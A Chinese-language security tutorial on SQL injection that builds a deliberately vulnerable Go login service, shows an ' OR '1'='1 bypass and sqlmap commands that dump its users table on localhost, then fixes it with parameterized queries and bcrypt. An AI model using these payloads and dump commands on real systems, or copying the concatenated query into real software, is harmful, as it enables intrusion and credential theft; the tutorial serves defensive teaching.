跳至主要内容

A03-1: SQL 注入漏洞(Injection)

SQL 注入(SQLi)是一種常見的網路攻擊,攻擊者利用應用程式未經驗證的 SQL 查詢來執行惡意 SQL 語句,可能導致資料庫洩漏、資料刪除,甚至取得完整管理權限。


有 SQL 注入漏洞的服務

我們來建立一個 Go 語言的 Web 服務,這個服務有一個 SQL 注入漏洞。

這個程式包含

  • 使用 SQLite 做為資料庫
  • 存在 SQL 注入漏洞,因為它直接拼接 userInput 到 SQL 查詢中

❌ 有漏洞的程式

package main

import (
"database/sql"
"fmt"
"log"
"net/http"

_ "github.com/mattn/go-sqlite3"
)

func main() {
db, err := sql.Open("sqlite3", "./test.db")
if err != nil {
log.Fatal(err)
}
defer db.Close()

// 建立 users 資料表
createTable := `CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL
);`
_, err = db.Exec(createTable)
if err != nil {
log.Fatal(err)
}

// 插入測試帳號
db.Exec("INSERT INTO users (username, password) VALUES ('admin', 'admin123')")
db.Exec("INSERT INTO users (username, password) VALUES ('user', 'password')")

// 登入系統
http.HandleFunc("/login", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
username := r.FormValue("username")
password := r.FormValue("password")

// ❌ **漏洞:直接拼接 SQL 語句,導致 SQL 注入!**
query := fmt.Sprintf("SELECT username FROM users WHERE username='%s' AND password='%s'", username, password)
fmt.Println("執行查詢:", query) // 觀察 SQL 語句

row := db.QueryRow(query)
var foundUsername string
err := row.Scan(&foundUsername)

if err == sql.ErrNoRows {
fmt.Fprintf(w, "登入失敗")
} else {
fmt.Fprintf(w, "登入成功,歡迎 %s!", foundUsername)
}
})

fmt.Println("伺服器啟動於 http://localhost:8080")
http.ListenAndServe(":8080", nil)
}

❌ 漏洞分析

  • 這裡的 SQL 查詢:
    SELECT * FROM users WHERE username='使用者輸入' AND password='使用者輸入'
  • 這樣的寫法使得攻擊者可以透過 ' OR '1'='1 這類輸入來繞過身份驗證:
    username: ' OR '1'='1
    password: 任意內容
    這會讓 SQL 變成:
    SELECT * FROM users WHERE username='' OR '1'='1' AND password='任意內容'
    因為 '1'='1' 永遠為真,攻擊者就能成功登入!

使用 SQLMAP 檢測 SQL 注入

SQLMAP 是一個強大的開源工具,可以自動偵測和利用 SQLi 漏洞。

🔍 SQLMAP 測試漏洞

  1. 我們首先利用 WSL 當作我們的測試環境。
wsl -d Ubuntu
  1. 透過 git 來安裝 sqlmap,apt-get 的版本太舊了。
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev/
python3 sqlmap.py -h
python3 sqlmap.py -hh
  1. SQLite3 需要 CGO,透果指令來開啟他。
go env -w CGO_ENABLED=1
  1. 啟動 Go 服務。
go run main.go
  1. 使用 SQLMAP 掃描,SQLMAP 會嘗試不同的 SQL 注入攻擊來測試漏洞,如果成功,你會看到漏洞,甚至可以把表格讀出來。
sqlmap -u "http://localhost:8080/login" --data "username=admin&password=1234" --batch --tables
[*] starting @ 02:13:05 /2025-02-13/

[02:13:06] [INFO] resuming back-end DBMS 'sqlite'
[02:13:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: password (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: username=admin&password=1234' UNION ALL SELECT CONCAT(CONCAT('qkzkq','gEgaYmSFQvVuvcghJHRNIKmxeBVAWmRRoDfLBYBE'),'qjvkq')-- TUfO
---
[02:13:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[02:13:06] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[2 tables]
+-----------------+
| sqlite_sequence |
| users |
+-----------------+

[02:13:06] [INFO] fetched data logged to text files under '/home/calvin/.local/share/sqlmap/output/localhost'

[*] ending @ 02:13:06 /2025-02-13/
  1. 有了表格就可以指定表格取得 cloumn。
python3 sqlmap.py -u "http://localhost:8080/login" --data "username=admin&password=1234" --batch -T users --columns
---

[02:15:56] [INFO] fetching columns for table 'users'
Database: <current>
Table: users
[3 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| id | INTEGER |
| password | TEXT |
| username | TEXT |
+----------+---------+
  1. 同時也能把整個 table 全部都撈取出來,非常可怕。
python3 sqlmap.py -u "http://localhost:8080/login" --data "username=admin&password=1234" --batch -T users --dump
---

[02:18:51] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[14 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1 | admin123 | admin |
| 2 | password | user |
| 3 | admin123 | admin |
| 4 | password | user |
| 5 | admin123 | admin |
| 6 | password | user |
| 7 | admin123 | admin |
| 8 | password | user |
| 9 | admin123 | admin |
| 10 | password | user |
| 11 | admin123 | admin |
| 12 | password | user |
| 13 | admin123 | admin |
| 14 | password | user |
+----+----------+----------+

這表示 SQL 注入成功!攻擊者可以繞過登入驗證! 💀


修補方式

✅ 方法 1:使用參數化查詢(Prepared Statement)

  • ❌ 錯誤: query := fmt.Sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", username, password)
  • ✅ 正確: 使用 ? 來安全地傳入參數
stmt, err := db.Prepare("SELECT * FROM users WHERE username=? AND password=?")
if err != nil {
http.Error(w, "伺服器錯誤", http.StatusInternalServerError)
return
}
row := stmt.QueryRow(username, password)

✅ 方法 2:密碼應該加密儲存

目前的程式直接存明文密碼,應該用 bcrypt 來加密密碼:

import "golang.org/x/crypto/bcrypt"

// 加密密碼
func hashPassword(password string) (string, error) {
hashed, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
return string(hashed), err
}

// 驗證密碼
func checkPassword(hashedPassword, password string) error {
return bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(password))
}

總結

🛠️ 修補後的安全的版本

  1. 透過 bcrypt 將密碼加密,同時使用 Prepared Statement 防止 SQL 注入。
package main

import (
"database/sql"
"fmt"
"log"
"net/http"

"golang.org/x/crypto/bcrypt"

_ "github.com/mattn/go-sqlite3"
)

// hashPassword 將密碼加密
func hashPassword(password string) (string, error) {
bytes, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
return string(bytes), err
}

// insertUser 將帳號和加密後的密碼存入 DB
func insertUser(db *sql.DB, username, password string) error {
hashedPassword, err := hashPassword(password)
if err != nil {
return err
}

_, err = db.Exec("INSERT INTO users (username, password) VALUES (?, ?)", username, hashedPassword)
return err
}

func main() {
db, err := sql.Open("sqlite3", "./test.db")
if err != nil {
log.Fatal(err)
}
defer db.Close()

// 建立 users 資料表
createTable := `CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL
);`
_, err = db.Exec(createTable)
if err != nil {
log.Fatal(err)
}

// 插入測試帳號(如果帳號不存在)
var count int
db.QueryRow("SELECT COUNT(*) FROM users WHERE username='admin'").Scan(&count)
if count == 0 {
insertUser(db, "admin", "admin123")
insertUser(db, "user", "password")
fmt.Println("已建立測試帳號")
}

// 登入系統
http.HandleFunc("/login", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
username := r.FormValue("username")
password := r.FormValue("password")

// ✅ 使用 Prepared Statement 防止 SQL 注入
query := "SELECT password FROM users WHERE username=?"
row := db.QueryRow(query, username)

var hashedPassword string
err := row.Scan(&hashedPassword)
if err != nil {
http.Error(w, "登入失敗", http.StatusUnauthorized)
return
}

// ✅ 檢查密碼是否正確
if err := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(password)); err != nil {
http.Error(w, "登入失敗", http.StatusUnauthorized)
return
}

fmt.Fprintf(w, "登入成功!歡迎, %s", username)
})

fmt.Println("伺服器啟動於 http://localhost:8080")
http.ListenAndServe(":8080", nil)
}
  1. 新增 go 的模組。
go get golang.org/x/crypto/bcrypt
  1. 將 test.db 刪掉之後,重新執行。
go run main.go
---

已建立測試帳號
伺服器啟動於 http://localhost:8080
  1. 測試可以登入。
curl -X POST http://127.0.0.1:8080/login -d "username=admin" -d "password=admin123"
---

登入成功!歡迎, admin
  1. 使用 sqlmap 檢測,因為 lavel 和 risk 都調到最高,需要一些時間,沒有顯示 injection point,就代表沒有被掃出漏洞囉!
python3 sqlmap.py -u "http://localhost:8080/login" --data "username=admin&password=admin123" --ignore-code=401 --batch --flush-session --level=5 --risk=3 --dbms=sqlite